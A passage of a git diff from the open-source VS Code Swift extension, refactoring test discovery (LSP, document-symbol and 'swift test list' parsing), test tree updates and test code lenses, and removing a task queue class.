folderContext.workspaceContext; - this.activeOperation = undefined; - } - - /** - * Add operation to queue - * @param operation Operation to queue - * @param token Cancellation token - * @returns When queued operation is complete - */ - queueOperation( - operation: SwiftOperation, - token?: vscode.CancellationToken - ): Promise { - // do we already have a version of this operation in the queue. If so - // return the promise for when that operation is complete instead of adding - // a new operation - let queuedOperation = this.findQueuedOperation(operation); - if (queuedOperation && queuedOperation.promise !== undefined) { - return queuedOperation.promise; - } - // if checkAlreadyRunning is set then check the active operation is not the same - if ( - operation.checkAlreadyRunning === true && - this.activeOperation && - this.activeOperation.promise && - this.activeOperation.isEqual(operation) - ) { - return this.activeOperation.promise; - } - - const promise = new Promise(resolve => { - queuedOperation = new QueuedOperation( - operation, - result => { - resolve(result); - }, - token - ); - this.queue.push(queuedOperation); - this.processQueue(); - }); - // if the last item does not have a promise then it is the queue - // entry we just added above and we should set its promise - if (this.queue.length > 0 && !this.queue[this.queue.length - 1].promise) { - this.queue[this.queue.length - 1].promise = promise; - } - return promise; - } - - /** If there is no active operation then run the task at the top of the queue */ - private processQueue() { - if (!this.activeOperation) { - const operation = this.queue.shift(); - if (operation) { - const task = operation.task; - this.activeOperation = operation; - if (operation.showStatusItem === true) { - this.workspaceContext.statusItem.start(task); - } - // log start - if (operation.log) { - this.workspaceContext.outputChannel.logStart( - `${operation.log} ... `, - this.folderContext.name - ); - } - this.workspaceContext.tasks - .executeTaskAndWait(task, operation.token) - .then(result => { - // log result - if (operation.log) { - switch (result) { - case 0: - this.workspaceContext.outputChannel.logEnd("done."); - break; - case undefined: - this.workspaceContext.outputChannel.logEnd("cancelled."); - break; - default: - this.workspaceContext.outputChannel.logEnd("failed."); - break; - } - } - this.finishTask(operation, result); - }) - .catch(error => { - // log error - if (operation.log) { - this.workspaceContext.outputChannel.logEnd(`${error}`); - } - this.finishTask(operation, undefined); - }); - } - } - } - - private finishTask(operation: QueuedOperation, result: number | undefined) { - operation.cb(result); - if (operation.showStatusItem === true) { - this.workspaceContext.statusItem.end(operation.task); - } - this.activeOperation = undefined; - this.processQueue(); - } - - /** Return if we already have an operation in the queue */ - findQueuedOperation(operation: SwiftOperation): QueuedOperation | undefined { - for (const queuedOperation of this.queue) { - if (queuedOperation.isEqual(operation)) { - return queuedOperation; - } - } - } -} diff --git a/src/TestExplorer/DocumentSymbolTestDiscovery.ts b/src/TestExplorer/DocumentSymbolTestDiscovery.ts new file mode 100644 index 000000000..789bb77ba --- /dev/null +++ b/src/TestExplorer/DocumentSymbolTestDiscovery.ts @@ -0,0 +1,81 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { parseTestsFromSwiftTestListOutput } from "./SPMTestDiscovery"; +import { TestClass } from "./TestDiscovery"; + +export function parseTestsFromDocumentSymbols( + target: string, + symbols: vscode.DocumentSymbol[], + uri: vscode.Uri +): TestClass[] { + // Converts a document into the output of `swift test list`. + // This _only_ looks for XCTests. + const locationLookup = new Map(); + const swiftTestListOutput = symbols + .filter( + symbol => + symbol.kind === vscode.SymbolKind.Class || + symbol.kind === vscode.SymbolKind.Namespace + ) + .flatMap(symbol => { + const functions = symbol.children + .filter(func => func.kind === vscode.SymbolKind.Method) + .filter(func => func.name.match(/^test.*\(\)/)) + .map(func => { + const openBrackets = func.name.indexOf("("); + let funcName = func.name; + if (openBrackets) { + funcName = func.name.slice(0, openBrackets); + } + return { + name: funcName, + location: new vscode.Location(uri, func.range), + }; + }); + + const location = + symbol.kind === vscode.SymbolKind.Class + ? new vscode.Location(uri, symbol.range) + : undefined; + + locationLookup.set(`${target}.${symbol.name}`, location); + + return functions.map(func => { + const testName = `${target}.${symbol.name}/${func.name}`; + locationLookup.set(testName, func.location); + return testName; + }); + }) + .join("\n"); + + const tests = parseTestsFromSwiftTestListOutput(swiftTestListOutput); + + // The locations for each test case/suite were captured when processing the + // symbols. Annotate the processed TestClasses with their locations. + const annotatedTests = annotateTestsWithLocations(tests, locationLookup); + return annotatedTests; +} + +function annotateTestsWithLocations( + tests: TestClass[], + locations: Map +): TestClass[] { + return tests.map(test => ({ + ...test, + location: locations.get(test.id), + children: annotateTestsWithLocations(test.children, locations), + })); +} diff --git a/src/TestExplorer/LSPTestDiscovery.ts b/src/TestExplorer/LSPTestDiscovery.ts index 7656a842f..a244d7a82 100644 --- a/src/TestExplorer/LSPTestDiscovery.ts +++ b/src/TestExplorer/LSPTestDiscovery.ts @@ -1,30 +1,28 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import * as path from "path"; -import { FolderContext } from "../FolderContext"; -import { isPathInsidePath } from "../utilities/utilities"; -import { Target } from "../SwiftPackage"; - -class LSPClass { - constructor(public className: string, public range?: vscode.Range) {} -} - -class LSPFunction { - constructor(public className: string, public funcName: string, public range?: vscode.Range) {} -} +import { LanguageClient } from "vscode-languageclient/node"; + +import { SwiftPackage } from "../SwiftPackage"; +import { checkExperimentalCapability } from "../sourcekit-lsp/LanguageClientManager"; +import { LanguageClientManager } from "../sourcekit-lsp/LanguageClientManager"; +import { + LSPTestItem, + TextDocumentTestsRequest, + WorkspaceTestsRequest, +} from "../sourcekit-lsp/extensions"; +import * as TestDiscovery from "./TestDiscovery"; /** * Used to augment test discovery via `swift test --list-tests`. @@ -35,217 +33,95 @@ class LSPFunction { * these results. */ export class LSPTestDiscovery { - private classes: LSPClass[]; - private functions: LSPFunction[]; - private targetName?: string; - - constructor( - public uri: vscode.Uri, - private folderContext: FolderContext, - private controller: vscode.TestController - ) { - this.targetName = this.getTarget(uri)?.name; - this.classes = []; - this.functions = []; - } - - /** - * Return if function was found via LSP server symbol search - * @param targetName Target name - * @param className Class name - * @param funcName Function name - * @returns Function from by LSP server symbol search - */ - includesFunction(targetName: string, className: string, funcName: string): boolean { - if (targetName !== this.targetName) { - return false; - } - return ( - this.functions.find( - element => element.className === className && element.funcName === funcName - ) !== undefined - ); - } + constructor(private languageClient: LanguageClientManager) {} /** - * Add test items for the symbols we have found so far + * Return a list of tests in the supplied document. + * @param document A document to query */ - addTestItems() { - if (!this.targetName) { - return; - } - const targetItem = this.controller.items.get(this.targetName); - if (!targetItem) { - return; - } - this.addTestItemsToTarget(targetItem); - } - - /** - * Update test items based on document symbols returned from LSP server - * @param symbols Document symbols returned from LSP server - */ - updateTestItems(symbols: vscode.DocumentSymbol[]) { - if (!this.targetName) { - return; - } - - const results = this.parseSymbolList(symbols); - - const targetItem = this.controller.items.get(this.targetName); - if (!targetItem) { - // if didn't find target item it probably hasn't been constructed yet - // store the results for later use and return - this.functions = results.functions; - this.classes = results.classes; - return; - } - const functions = results.functions; - const deletedFunctions: LSPFunction[] = []; - this.functions.forEach(element => { - if ( - !functions.find( - element2 => - element.className === element2.className && - element.funcName === element2.funcName - ) - ) { - deletedFunctions.push(element); - } - }); - this.functions = functions; - this.classes = results.classes; - - this.addTestItemsToTarget(targetItem); - - // delete functions that are no longer here - for (const f of deletedFunctions) { - const classId = `${this.targetName}.${f.className}`; - const classItem = targetItem.children.get(classId); - if (!classItem) { - continue; - } - const funcId = `${this.targetName}.${f.className}/${f.funcName}`; - classItem.children.delete(funcId); - } - - // delete any empty classes - targetItem.children.forEach(classItem => { - if (classItem.children.size === 0) { - targetItem.children.delete(classItem.id); + async getDocumentTests( + swiftPackage: SwiftPackage, + document: vscode.Uri + ): Promise { + return await this.languageClient.useLanguageClient(async (client, token) => { + // Only use the lsp for this request if it supports the + // textDocument/tests method, and is at least version 2. + if (checkExperimentalCapability(client, TextDocumentTestsRequest.method, 2)) { + const testsInDocument = await client.sendRequest( + TextDocumentTestsRequest.type, + { textDocument: { uri: document.toString() } }, + token + ); + return this.transformToTestClass(client, swiftPackage, testsInDocument); + } else { + throw new Error(`${TextDocumentTestsRequest.method} requests not supported`); } }); } - /** Add test items for LSP server results */ - private addTestItemsToTarget(targetItem: vscode.TestItem) { - const targetName = targetItem.id; - // set class positions - for (const c of this.classes) { - const classId = `${targetName}.${c.className}`; - const classItem = targetItem.children.get(classId); - if (!classItem) { - continue; - } - if (!classItem.uri) { - // Unfortunately TestItem.uri is readonly so have to create a new TestItem - const children = classItem.children; - targetItem.children.delete(classId); - const newItem = this.controller.createTestItem(classId, c.className, this.uri); - children.forEach(child => newItem.children.add(child)); - newItem.range = c.range; - targetItem.children.add(newItem); - } else { - classItem.range = c.range; - } - } - - // add functions that didn't exist before - for (const f of this.functions) { - const classId = `${targetName}.${f.className}`; - const classItem = targetItem.children.get(classId); - if (!classItem) { - continue; - } - const funcId = `${targetName}.${f.className}/${f.funcName}`; - const funcItem = classItem.children.get(funcId); - if (!funcItem) { - const item = this.controller.createTestItem(funcId, f.funcName, this.uri); - item.range = f.range; - classItem.children.add(item); + /** + * Return list of workspace tests + * @param workspaceRoot Root of current workspace folder + */ + async getWorkspaceTests(swiftPackage: SwiftPackage): Promise { + return await this.languageClient.useLanguageClient(async (client, token) => { + // Only use the lsp for this request if it supports the + // workspace/tests method, and is at least version 2. + if (checkExperimentalCapability(client, WorkspaceTestsRequest.method, 2)) { + const tests = await client.sendRequest(WorkspaceTestsRequest.type, token); + return await this.transformToTestClass(client, swiftPackage, tests); } else { - // set function item uri and location - if (!funcItem.uri) { - // Unfortunately TestItem.uri is readonly so have to create a new TestItem - // if we want to set the uri. - classItem.children.delete(funcId); - const newItem = this.controller.createTestItem(funcId, f.funcName, this.uri); - newItem.range = f.range; - classItem.children.add(newItem); - } else { - funcItem.range = f.range; - } + throw new Error(`${WorkspaceTestsRequest.method} requests not supported`); } - } + }); } /** - * Get list of class methods that start with the prefix "test" and have no parameters - * ie possible test functions + * Convert from `LSPTestItem[]` to `TestDiscovery.TestClass[]`, + * updating the format of the location. */ - parseSymbolList(symbols: vscode.DocumentSymbol[]): { - classes: LSPClass[]; - functions: LSPFunction[]; - } { - const resultClasses: LSPClass[] = []; - const results: LSPFunction[] = []; - - // filter is class or extension - const classes = symbols.filter( - item => - item.kind === vscode.SymbolKind.Class || item.kind === vscode.SymbolKind.Namespace - ); - classes.forEach(c => { - // add class with position - if (c.kind === vscode.SymbolKind.Class) { - resultClasses.push({ - className: c.name, - range: c.range, - }); - } - // filter test methods - const testFunctions = c.children?.filter( - child => child.kind === vscode.SymbolKind.Method && child.name.match(/^test.*\(\)/) - ); - testFunctions?.forEach(func => { - // drop "()" from function name - results.push({ - className: c.name, - funcName: func.name.slice(0, -2), - range: func.range, - }); - }); - }); - return { classes: resultClasses, functions: results }; + private async transformToTestClass( + client: LanguageClient, + swiftPackage: SwiftPackage, + input: LSPTestItem[] + ): Promise { + let result: TestDiscovery.TestClass[] = []; + for (const item of input) { + const location = client.protocol2CodeConverter.asLocation(item.location); + result = [ + ...result, + { + ...item, + id: await this.transformId(item, location, swiftPackage), + children: await this.transformToTestClass(client, swiftPackage, item.children), + location, + }, + ]; + } + return result; } /** - * Find testTarget for URI - * @param uri URI to find target for - * @returns Target + * If the test is an XCTest, transform the ID provided by the LSP from a + * swift-testing style ID to one that XCTest can use. This allows the ID to + * be used to tell to the test runner (xctest or swift-testing) which tests to run. */ - getTarget(uri: vscode.Uri): Target | undefined { - if (!isPathInsidePath(uri.fsPath, this.folderContext.folder.fsPath)) { - return undefined; - } - const testTargets = this.folderContext.swiftPackage.getTargets("test"); - const target = testTargets.find(element => { - const relativeUri = path.relative( - path.join(this.folderContext.folder.fsPath, element.path), - uri.fsPath - ); - return element.sources.find(file => file === relativeUri) !== undefined; - }); - return target; + private async transformId( + item: LSPTestItem, + location: vscode.Location, + swiftPackage: SwiftPackage + ): Promise { + // XCTest: Target.TestClass/testCase + // swift-testing: TestClass/testCase() + // TestClassOrStruct/NestedTestSuite/testCase() + const target = await swiftPackage.getTarget(location.uri.fsPath); + + // If we're using an older sourcekit-lsp it doesn't prepend the target name + // to the test item id. + const id = + target !== undefined && !item.id.startsWith(`${target.c99name}.`) + ? `${target.c99name}.${item.id}` + : item.id; + return item.style === "XCTest" ? id.replace(/\(\)$/, "") : id; } } diff --git a/src/TestExplorer/SPMTestDiscovery.ts b/src/TestExplorer/SPMTestDiscovery.ts new file mode 100644 index 000000000..cbc03d0f4 --- /dev/null +++ b/src/TestExplorer/SPMTestDiscovery.ts @@ -0,0 +1,83 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { TestStyle } from "../sourcekit-lsp/extensions"; +import { TestClass } from "./TestDiscovery"; + +/* + * Build an array of TestClasses from test list output by `swift test list` + */ +export function parseTestsFromSwiftTestListOutput(input: string): TestClass[] { + const tests = new Array(); + const lines = input.match(/[^\r\n]+/g); + if (!lines) { + return tests; + } + + for (const line of lines) { + let targetName: string | undefined; + let testName: string | undefined; + let style: TestStyle = "XCTest"; + + // Regex "./" + const xcTestGroup = /^([\w\d_]*)\.([\w\d_]*)\/(.*)$/.exec(line); + if (xcTestGroup) { + targetName = xcTestGroup[1]; + testName = `${xcTestGroup[2]}/${xcTestGroup[3]}`; + style = "XCTest"; + } + + // Regex "." + const swiftTestGroup = /^([\w\d_]*)\.(.*\(.*\))$/.exec(line); + if (swiftTestGroup) { + targetName = swiftTestGroup[1]; + testName = swiftTestGroup[2]; + style = "swift-testing"; + } + + if (!testName || !targetName) { + continue; + } + + const components = [targetName, ...testName.split("/")]; + let separator = "."; + // Walk the components of the fully qualified name, adding any missing nodes in the tree + // as we encounter them, and adding to the children of existing nodes. + components.reduce( + ({ tests, currentId }, component) => { + const id = currentId ? `${currentId}${separator}${component}` : component; + if (currentId) { + separator = "/"; // separator starts as . after the tartget name, then switches to / for suites. + } + + const testStyle: TestStyle = id === targetName ? "test-target" : style; + let target = tests.find(item => item.id === id); + if (!target) { + target = { + id, + label: component, + location: undefined, + style, + children: [], + disabled: false, + tags: [{ id: testStyle }], + }; + tests.push(target); + } + return { tests: target.children, currentId: id }; + }, + { tests, currentId: undefined as undefined | string } + ); + } + return tests; +} diff --git a/src/TestExplorer/TestCodeLensProvider.ts b/src/TestExplorer/TestCodeLensProvider.ts new file mode 100644 index 000000000..70440c8b9 --- /dev/null +++ b/src/TestExplorer/TestCodeLensProvider.ts @@ -0,0 +1,95 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import configuration, { ValidCodeLens } from "../configuration"; +import { TestExplorer } from "./TestExplorer"; +import { flattenTestItemCollection } from "./TestUtils"; + +export class TestCodeLensProvider implements vscode.CodeLensProvider, vscode.Disposable { + private onDidChangeCodeLensesEmitter = new vscode.EventEmitter(); + public onDidChangeCodeLenses = this.onDidChangeCodeLensesEmitter.event; + private disposables: vscode.Disposable[] = []; + + constructor(private testExplorer: TestExplorer) { + this.disposables = [ + testExplorer.onTestItemsDidChange(() => this.onDidChangeCodeLensesEmitter.fire()), + vscode.languages.registerCodeLensProvider({ language: "swift", scheme: "file" }, this), + ]; + } + + dispose() { + this.disposables.forEach(disposable => disposable.dispose()); + } + + public provideCodeLenses( + document: vscode.TextDocument, + _token: vscode.CancellationToken + ): vscode.ProviderResult { + const config = configuration.showTestCodeLenses; + if (config === false || (Array.isArray(config) && config.length === 0)) { + return []; + } + + const items = flattenTestItemCollection(this.testExplorer.controller.items); + return items + .filter(item => item.uri?.fsPath === document.uri.fsPath) + .flatMap(item => this.codeLensesForTestItem(item, config)); + } + + private codeLensesForTestItem( + item: vscode.TestItem, + config: boolean | ValidCodeLens[] + ): vscode.CodeLens[] { + if (!item.range) { + return []; + } + + const lensConfigs: Array<{ + type: ValidCodeLens; + title: string; + command: string; + }> = [ + { + type: "run", + title: "$(play)\u00A0Run", + command: "swift.runTest", + }, + { + type: "debug", + title: "$(debug)\u00A0Debug", + command: "swift.debugTest", + }, + { + type: "coverage", + title: "$(debug-coverage)\u00A0Run w/ Coverage", + command: "swift.runTestWithCoverage", + }, + ]; + + return lensConfigs + .filter( + lensConfig => + config === true || (Array.isArray(config) && config.includes(lensConfig.type)) + ) + .map( + lensConfig => + new vscode.CodeLens(item.range!, { + title: lensConfig.title, + command: lensConfig.command, + arguments: [item], + }) + ); + } +} diff --git a/src/TestExplorer/TestDiscovery.ts b/src/TestExplorer/TestDiscovery.ts new file mode 100644 index 000000000..98dd2ed1d --- /dev/null +++ b/src/TestExplorer/TestDiscovery.ts @@ -0,0 +1,344 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SwiftPackage, TargetType } from "../SwiftPackage"; +import { LSPTestItem } from "../sourcekit-lsp/extensions"; +import { reduceTestItemChildren } from "./TestUtils"; + +/** Test class definition */ +export interface TestClass extends Omit, "children"> { + location: vscode.Location | undefined; + children: TestClass[]; +} + +/** + * Tag that denotes TestItems should be runnable in the VS Code UI. + * Test items that do not have this tag will not have the green "run test" triangle button. + */ +export const runnableTag = new vscode.TestTag("runnable"); + +/** + * Tags that should not be duplicated on TestItems when applying parent tags to children. + */ +const defaultTags = [runnableTag.id, "test-target", "XCTest", "swift-testing"]; + +/** + * Update Test Controller TestItems based off array of TestClasses. + * + * The function creates the TestTargets based off the test targets in the Swift + * Package + * @param testController Test controller + * @param swiftPackage A swift package containing test targets + * @param testClasses Array of test classes + */ +export async function updateTestsFromClasses( + testController: vscode.TestController, + swiftPackage: SwiftPackage, + testItems: TestClass[] +) { + const targets = await swiftPackage.getTargets(TargetType.test); + const results: TestClass[] = []; + for (const target of targets) { + const filteredItems: TestClass[] = []; + for (const testItem of testItems) { + if ( + testItem.location && + (await swiftPackage.getTarget(testItem.location.uri.fsPath)) === target + ) { + filteredItems.push(testItem); + } + } + results.push({ + id: target.c99name, + label: target.name, + children: filteredItems, + location: undefined, + disabled: false, + style: "test-target", + tags: [], + }); + } + updateTests(testController, results); +} + +function isFileDisambiguated(id: string): boolean { + // a regex to check if the id ends with a string like "filename.swift:line:column" + const regex = /^(.*\/)?([^/]+\.swift):(\d+):(\d+)$/; + return regex.test(id); +} + +export function updateTestsForTarget( + testController: vscode.TestController, + testTarget: { id: string; label: string }, + testItems: TestClass[], + filterFile?: vscode.Uri +) { + // Because swift-testing suites can be defined through nested extensions the tests + // provided might not be directly parented to the test target. For instance, the + // target might be `Foo`, and one of the child `testItems` might be `Foo.Bar/Baz`. + // If we simply attach the `testItems` to the root test target then the intermediate + // suite `Bar` will be dropped. To avoid this, we syntheize the intermediate children + // just like we synthesize the test target. + function synthesizeChildren(testItem: TestClass): TestClass { + // Only Swift Testing tests can be nested in a way that requires synthesis. + if (testItem.style === "XCTest") { + return testItem; + } + + const fileDisambiguated = isFileDisambiguated(testItem.id); + const item = { ...testItem }; + // To determine if any root level test items are missing a parent we check how many + // components there are in the ID. If there are more than one (the test target) then + // we synthesize all the intermediary test items. + const idComponents = testItem.id.split(/\.|\//); + + // Remove the last component to get the parent ID components + idComponents.pop(); + + // If this is a file disambiguated id (ends in .swift::), + // remove both the filename and line info. + if (fileDisambiguated) { + idComponents.pop(); + } + + if (idComponents.length > (fileDisambiguated ? 2 : 1)) { + let newId = idComponents.slice(0, 2).join("."); + const remainingIdComponents = idComponents.slice(2); + if (remainingIdComponents.length) { + newId += "/" + remainingIdComponents.join("/"); + } + return synthesizeChildren({ + id: newId, + label: idComponents[idComponents.length - 1], + children: [item], + location: undefined, + disabled: false, + style: item.style, + tags: item.tags, + }); + } + return item; + } + + const testTargetClass: TestClass = { + id: testTarget.id, + label: testTarget.label, + children: testItems.map(synthesizeChildren), + location: undefined, + disabled: false, + style: "test-target", + tags: [], + }; + updateTests(testController, [testTargetClass], filterFile); +} + +/** + * Update Test Controller TestItems based off array of TestTargets + * @param testController Test controller + * @param testItems Array of TestClasses + * @param filterFile Filter test deletion just for tests in the one file + */ +export function updateTests( + testController: vscode.TestController, + testItems: TestClass[], + filterFile?: vscode.Uri +) { + const incomingTestsLookup = createIncomingTestLookup(testItems); + function removeOldTests(testItem: vscode.TestItem) { + testItem.children.forEach(child => removeOldTests(child)); + + // If the existing item isn't in the map + if ( + !incomingTestsLookup.get(testItem.id) && + (!filterFile || testItem.uri?.fsPath === filterFile.fsPath) + ) { + const collection = testItem.parent ? testItem.parent.children : testController.items; + + if ( + testItem.children.size === 0 || + testItemHasParameterizedTestResultChildren(testItem) + ) { + collection.delete(testItem.id); + } + } + } + + // Skip removing tests if the test explorer is empty + if (testController.items.size !== 0) { + testController.items.forEach(removeOldTests); + } + + // Add/update the top level test items. upsertTestItem will descend the tree of children adding them as well. + testItems.forEach(testItem => { + upsertTestItem(testController, testItem); + }); +} + +/** + * Returns true if all children have no URI. + * This indicates the test item is parameterized and the children are the results. + */ +function testItemHasParameterizedTestResultChildren(testItem: vscode.TestItem) { + return ( + testItem.children.size > 0 && + reduceTestItemChildren( + testItem.children, + (acc, child) => acc || child.uri !== undefined, + false + ) === false + ); +} + +/** + * Create a lookup of the incoming tests we can compare to the existing list of tests + * to produce a list of tests that are no longer present. If a filterFile is specified we + * scope this work to just the tests inside that file. + */ +function createIncomingTestLookup( + collection: TestClass[], + filterFile?: vscode.Uri +): Map { + const dictionary = new Map(); + function traverse(testItem: TestClass) { + // If we are filtering based on tests being one file and this + // function isn't in the file then ignore + if (!filterFile || testItem.location?.uri.fsPath === filterFile.fsPath) { + dictionary.set(testItem.id, testItem); + testItem.children.forEach(item => traverse(item)); + } + } + collection.forEach(item => traverse(item)); + return dictionary; +} + +/** + * Merges the TestItems recursively from the `existingItem` in to the `newItem` + */ +function deepMergeTestItemChildren(existingItem: vscode.TestItem, newItem: vscode.TestItem) { + reduceTestItemChildren( + existingItem.children, + (collection, testItem: vscode.TestItem) => { + const existing = collection.get(testItem.id); + if (existing) { + deepMergeTestItemChildren(existing, testItem); + } + collection.add(testItem); + return collection; + }, + newItem.children + ); +} + +/** + * Given a `TestClass` adds the TestClasses tags to each of its children. + * Does not apply recursively. + * @param testClass A test class whose tags should be propagated to its children. + * @returns A `TestClass` whose children include the parent's tags. + */ +function applyTagsToChildren(testClass: TestClass): TestClass { + const tagsToAdd = testClass.tags.filter(tag => !defaultTags.includes(tag.id)); + return { + ...testClass, + children: testClass.children.map(child => ({ + ...child, + tags: [...child.tags, ...tagsToAdd], + })), + }; +} + +/** + * Updates the existing `vscode.TestItem` if it exists with the same ID as the `TestClass`, + * otherwise creates an add a new one. The location on the returned vscode.TestItem is always updated. + */ +export function upsertTestItem( + testController: vscode.TestController, + testItem: TestClass, + parent?: vscode.TestItem +): vscode.TestItem { + const collection = parent?.children ?? testController.items; + const existingItem = collection.get(testItem.id); + let newItem: vscode.TestItem; + + // Unfortunately TestItem.uri is readonly so if the location of the test has changed + // we need to create a new TestItem. If the location of the new test item is undefined + // then don't create a new item and use the old one. + if ( + existingItem === undefined || + (existingItem && testItem.location?.uri && existingItem.uri !== testItem.location.uri) + ) { + newItem = testController.createTestItem( + testItem.id, + testItem.label, + testItem.location?.uri + ); + + // We want to keep existing children if they exist. + if (existingItem) { + const existingChildren: vscode.TestItem[] = []; + existingItem.children.forEach(child => { + existingChildren.push(child); + }); + newItem.children.replace(existingChildren); + } + } else { + newItem = existingItem; + } + + // At this point all the test items that should have been deleted are out of the tree. + // Its possible we're dropping a whole branch of test items on top of an existing one, + // and we want to merge these branches instead of the new one replacing the existing one. + if (existingItem) { + deepMergeTestItemChildren(existingItem, newItem); + } + + // In VS Code tags are not inherited automatically, so if we're recieving a suite we need + // to set a suites tag on all of its children. Because test items are added top down the children + // aren't updated recursively all at once, but rather one level at a time which then propagages + // parent tags down the tree as children are upserted. + testItem = applyTagsToChildren(testItem); + + const hasTestStyleTag = testItem.tags.find(tag => tag.id === testItem.style); + + // Manually add the test style as a tag if it isn't already in the tags list. + // This lets the user filter by test type. + newItem.tags = hasTestStyleTag + ? [...testItem.tags] + : [{ id: testItem.style }, ...testItem.tags]; + + if (testItem.disabled === false) { + newItem.tags = [...newItem.tags, runnableTag]; + } + + newItem.label = testItem.label; + newItem.range = testItem.location?.range; + + if (testItem.sortText) { + newItem.sortText = testItem.sortText; + } else if (!testItem.location) { + // TestItems without a location should be sorted to the top. + const zeros = ``.padStart(8, "0"); + newItem.sortText = `${zeros}:${testItem.label}`; + } + + // Performs an upsert based on whether a test item exists in the collection with the same id. + // If no parent is provided operate on the testController's root items. + collection.add(newItem); + + testItem.children.forEach(child => { + upsertTestItem(testController, child, newItem); + }); + + return newItem; +} diff --git a/src/TestExplorer/TestExplorer.ts b/src/TestExplorer/TestExplorer.ts index 358e9747a..271a18005 100644 --- a/src/TestExplorer/TestExplorer.ts +++ b/src/TestExplorer/TestExplorer.ts @@ -1,67 +1,214 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021-2022 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { execSwift, getErrorDescription, isPathInsidePath } from "../utilities/utilities"; -import { FolderEvent, WorkspaceContext } from "../WorkspaceContext"; -import { TestRunner } from "./TestRunner"; +import { TargetType } from "../SwiftPackage"; +import { FolderOperation, SwiftFileEvent, WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { buildOptions, getBuildAllTask } from "../tasks/SwiftTaskProvider"; +import { TaskManager } from "../tasks/TaskManager"; +import { SwiftExecOperation, TaskOperation } from "../tasks/TaskQueue"; +import { compositeDisposable, getErrorDescription } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { parseTestsFromDocumentSymbols } from "./DocumentSymbolTestDiscovery"; import { LSPTestDiscovery } from "./LSPTestDiscovery"; +import { parseTestsFromSwiftTestListOutput } from "./SPMTestDiscovery"; +import { TestCodeLensProvider } from "./TestCodeLensProvider"; +import * as TestDiscovery from "./TestDiscovery"; +import { TestRunProxy, TestRunner } from "./TestRunner"; +import { flattenTestItemCollection } from "./TestUtils"; /** Build test explorer UI */ export class TestExplorer { static errorTestItemId = "#Error#"; public controller: vscode.TestController; - private lspFunctionParser?: LSPTestDiscovery; - private subscriptions: { dispose(): unknown }[]; + public testRunProfiles: vscode.TestRunProfile[]; + + private lspTestDiscovery: LSPTestDiscovery; + private subscriptions: vscode.Disposable[]; + private tokenSource = new vscode.CancellationTokenSource(); + + // Emits after the `vscode.TestController` has been updated. + private onTestItemsDidChangeEmitter = new vscode.EventEmitter(); + public onTestItemsDidChange: vscode.Event; + + public onDidCreateTestRunEmitter = new vscode.EventEmitter(); + public onCreateTestRun: vscode.Event; + + private codeLensProvider: TestCodeLensProvider; + + constructor( + public folderContext: FolderContext, + private tasks: TaskManager, + private logger: SwiftLogger, + private onDidChangeSwiftFiles: ( + listener: (event: SwiftFileEvent) => void + ) => vscode.Disposable + ) { + this.onTestItemsDidChange = this.onTestItemsDidChangeEmitter.event; + this.onCreateTestRun = this.onDidCreateTestRunEmitter.event; + + this.lspTestDiscovery = this.configureLSPTestDiscovery(folderContext); + this.codeLensProvider = new TestCodeLensProvider(this); + this.controller = this.createController(folderContext); + + this.testRunProfiles = TestRunner.setupProfiles( + this.controller, + this.folderContext, + this.onDidCreateTestRunEmitter + ); + + this.subscriptions = [ + this.tokenSource, + this.controller, + this.onTestItemsDidChangeEmitter, + this.onDidCreateTestRunEmitter, + this.codeLensProvider, + ...this.testRunProfiles, + this.onTestItemsDidChange(() => this.updateSwiftTestContext()), + this.discoverUpdatedTestsAfterBuild(folderContext), + ]; + } + + /** + * Query the LSP for tests in the document. If the LSP is not available + * this method will fallback to the legacy method of parsing document symbols, + * but only for XCTests. + * @param folder The folder context. + * @param uri The document URI. If the document is not part of a test target, this method will do nothing. + * @param symbols The document symbols. + * @returns A promise that resolves when the tests have been retrieved. + */ + public async getDocumentTests( + folder: FolderContext, + uri: vscode.Uri, + symbols: vscode.DocumentSymbol[] + ): Promise { + const target = await folder.swiftPackage.getTarget(uri.fsPath); + if (target?.type !== "test") { + this.logger.info( + `Target ${target?.name ?? "undefined"} is not a test target, aborting looking for 